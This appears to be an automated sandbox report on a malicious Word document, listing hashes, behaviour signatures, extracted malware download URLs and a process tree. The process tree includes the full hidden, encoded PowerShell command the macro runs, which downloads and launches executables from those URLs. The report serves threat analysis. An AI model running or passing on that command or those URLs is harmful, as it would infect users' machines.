Analysis
-
max time kernel
52s -
max time network
17s -
platform
windows7_x64 -
resource
win7-20240903-en -
resource tags
-
submitted
20-11-2024 21:47
General
-
Target
ec22df822ebdbf9b4fb6510bd677ef0d6ce81e02ed4aaeedb098e178e7eafc9e.doc
-
Size
217KB
-
MD5
9233375931f8df6643462a715a569356
-
SHA1
f1a9097241c4d4ab7501d7ac2fd863b657987ba6
-
SHA256
ec22df822ebdbf9b4fb6510bd677ef0d6ce81e02ed4aaeedb098e178e7eafc9e
-
SHA512
05ed488559f36a3fb3982800dc608299feb1600741c81c33c3138abf639a13af702426bf1e525d26f784ffdb549ed57ba16062f1cd3a51ab793a1b6c581ebb6a
-
SSDEEP
6144:le2k4ytGiL3HJk9uD7bEDYvj3iOE8B+nLZB3oXfg+03:lejQitkQ7bA
Malware Config
Extracted
http://gobabynames.com/dz6r/xytx7/
http://nhomkinhthienbinh.com/cgi-bin/yW/
http://capitalcitycarwash.com/komldk65kd/7tz/
http://compscischool.com/wp-content/8a1n/
http://gianphoisonghong.com/wp-includes/AUWxwq1V2s/
Signatures
-
Process spawned unexpected child process 3 IoCs
This typically indicates the parent process was compromised via an exploit or macro.
-
Blocklisted process makes network request 3 IoCs
-
Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs
Run Powershell and hide display window.
-
Drops file in System32 directory 1 IoCs
-
Drops file in Windows directory 1 IoCs
-
System Location Discovery: System Language Discovery 1 TTPs 1 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
-
Office loads VBA resources, possible macro or embedded object present
-
Modifies registry class 64 IoCs
-
Suspicious behavior: AddClipboardFormatListener 1 IoCs
-
Suspicious behavior: EnumeratesProcesses 1 IoCs
-
Suspicious use of AdjustPrivilegeToken 1 IoCs
-
Suspicious use of FindShellTrayWindow 2 IoCs
-
Suspicious use of SetWindowsHookEx 4 IoCs
-
Suspicious use of WriteProcessMemory 12 IoCs
Processes
-
C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE"C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\ec22df822ebdbf9b4fb6510bd677ef0d6ce81e02ed4aaeedb098e178e7eafc9e.doc"1⤵
- Drops file in Windows directory
- System Location Discovery: System Language Discovery
- Modifies registry class
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of FindShellTrayWindow
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
-
C:\Windows\splwow64.exeC:\Windows\splwow64.exe 122882⤵
-
-
C:\Windows\SYSTEM32\WISPTIS.EXE"C:\Windows\SYSTEM32\WISPTIS.EXE" /ManualLaunch;2⤵
- Process spawned unexpected child process
- Suspicious use of SetWindowsHookEx
-
-
C:\Windows\SYSTEM32\WISPTIS.EXE"C:\Windows\SYSTEM32\WISPTIS.EXE" /ManualLaunch;2⤵
- Process spawned unexpected child process
- Suspicious use of SetWindowsHookEx
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\Powershell.exePowershell -w hidden -en JABIAG0AaAB5AHoAdABvAHkAaABzAGUAPQAnAFoAeABsAG4AcgBoAHAAdQBwAGIAZQBmACcAOwAkAEEAbABxAGEAYwByAGMAagAgAD0AIAAnADIAMQAwACcAOwAkAEUAaAB5AHEAdwBxAGQAZwBhAHIAPQAnAE0AagBqAHkAeQBtAHMAcQBkAHEAJwA7ACQAQQBhAG4AaABrAHMAaQBwAHMAYwBhAGgAcgA9ACQAZQBuAHYAOgB1AHMAZQByAHAAcgBvAGYAaQBsAGUAKwAnAFwAJwArACQAQQBsAHEAYQBjAHIAYwBqACsAJwAuAGUAeABlACcAOwAkAEMAYgB3AHMAawBjAHQAdQBkAGMAPQAnAFQAbgBxAGQAdwBxAGwAdwAnADsAJABKAGkAYgBtAGEAcQB3AHUAbQB0AGcAcwBuAD0ALgAoACcAbgAnACsAJwBlAHcALQBvAGIAagBlACcAKwAnAGMAdAAnACkAIABuAGUAVAAuAHcAZQBiAEMAbABpAGUAbgB0ADsAJABFAHEAegBhAGYAaABzAGYAYgBhAGsAPQAnAGgAdAB0AHAAOgAvAC8AZwBvAGIAYQBiAHkAbgBhAG0AZQBzAC4AYwBvAG0ALwBkAHoANgByAC8AeAB5AHQAeAA3AC8AKgBoAHQAdABwADoALwAvAG4AaABvAG0AawBpAG4AaAB0AGgAaQBlAG4AYgBpAG4AaAAuAGMAbwBtAC8AYwBnAGkALQBiAGkAbgAvAHkAVwAvACoAaAB0AHQAcAA6AC8ALwBjAGEAcABpAHQAYQBsAGMAaQB0AHkAYwBhAHIAdwBhAHMAaAAuAGMAbwBtAC8AawBvAG0AbABkAGsANgA1AGsAZAAvADcAdAB6AC8AKgBoAHQAdABwADoALwAvAGMAbwBtAHAAcwBjAGkAcwBjAGgAbwBvAGwALgBjAG8AbQAvAHcAcAAtAGMAbwBuAHQAZQBuAHQALwA4AGEAMQBuAC8AKgBoAHQAdABwADoALwAvAGcAaQBhAG4AcABoAG8AaQBzAG8AbgBnAGgAbwBuAGcALgBjAG8AbQAvAHcAcAAtAGkAbgBjAGwAdQBkAGUAcwAvAEEAVQBXAHgAdwBxADEAVgAyAHMALwAnAC4AIgBTAHAAYABsAEkAdAAiACgAJwAqACcAKQA7ACQARABrAGYAZABnAHMAbgB6AGkAbwBjAG4AbwA9ACcATAB3AHgAeAB5AGcAagBxAGoAZQBsAHYAJwA7AGYAbwByAGUAYQBjAGgAKAAkAEMAagBqAHAAYwBnAHMAaQBmAHEAZgBtACAAaQBuACAAJABFAHEAegBhAGYAaABzAGYAYgBhAGsAKQB7AHQAcgB5AHsAJABKAGkAYgBtAGEAcQB3AHUAbQB0AGcAcwBuAC4AIgBkAGAAbwBgAFcAbgBMAG8AYABBAGQAZgBJAEwAZQAiACgAJABDAGoAagBwAGMAZwBzAGkAZgBxAGYAbQAsACAAJABBAGEAbgBoAGsAcwBpAHAAcwBjAGEAaAByACkAOwAkAE0AZQBpAG0AZgB5AG0AbQBnAHcAYQBnAD0AJwBGAHgAZwB6AHYAagBrAHUAbgB5AHoAcQAnADsASQBmACAAKAAoAC4AKAAnAEcAZQB0AC0ASQAnACsAJwB0AGUAJwArACcAbQAnACkAIAAkAEEAYQBuAGgAawBzAGkAcABzAGMAYQBoAHIAKQAuACIATABFAE4AYABnAGAAVABIACIAIAAtAGcAZQAgADMANQAxADYAMQApACAAewBbAEQAaQBhAGcAbgBvAHMAdABpAGMAcwAuAFAAcgBvAGMAZQBzAHMAXQA6ADoAIgBTAGAAVABBAHIAVAAiACgAJABBAGEAbgBoAGsAcwBpAHAAcwBjAGEAaAByACkAOwAkAFkAdgB3AHkAZQB2AGoAdQBiAGoAdwBoAHkAPQAnAFcAcgBjAG8AawBtAHkAbAAnADsAYgByAGUAYQBrADsAJABKAHMAcQBrAG0AbwBmAHIAcQA9ACcARABpAHkAegB3AGQAZQBwACcAfQB9AGMAYQB0AGMAaAB7AH0AfQAkAEwAZQBtAGIAaABvAGYAagA9ACcASgB4AHMAdgBjAHMAagBwACcA1⤵
- Process spawned unexpected child process
- Blocklisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Drops file in System32 directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
Loading Replay Monitor...
Downloads
-
Filesize
444B
MD53a586bd746c89a8712faf61343687167
SHA15bc509432744bf9ca7bb1feea811f0c6269f264e
SHA256eefc7d0347918deb3b795dc35cc138883048c88a087d91e02e878ea9c44fe10b
SHA5121582bbed7fd3c13005da5ec2cbda43a20569ac35e9ca59b6a15308f9ace48e37644241964eba145d212a48b267d0b28653f38c20b46580f1868b18ea77593e0e
-
Filesize
32KB
-
Filesize
2.9MB
-
Filesize
4KB
-
Filesize
1024KB
-
Filesize
1024KB
-
Filesize
4KB
-
Filesize
64KB
-
Filesize
1024KB
-
Filesize
1024KB
-
Filesize
44KB
-
Filesize
1024KB
-
Filesize
4KB
-
Filesize
44KB
-
Filesize
1024KB
-
Filesize
4KB
-
Filesize
1024KB
-
Filesize
1024KB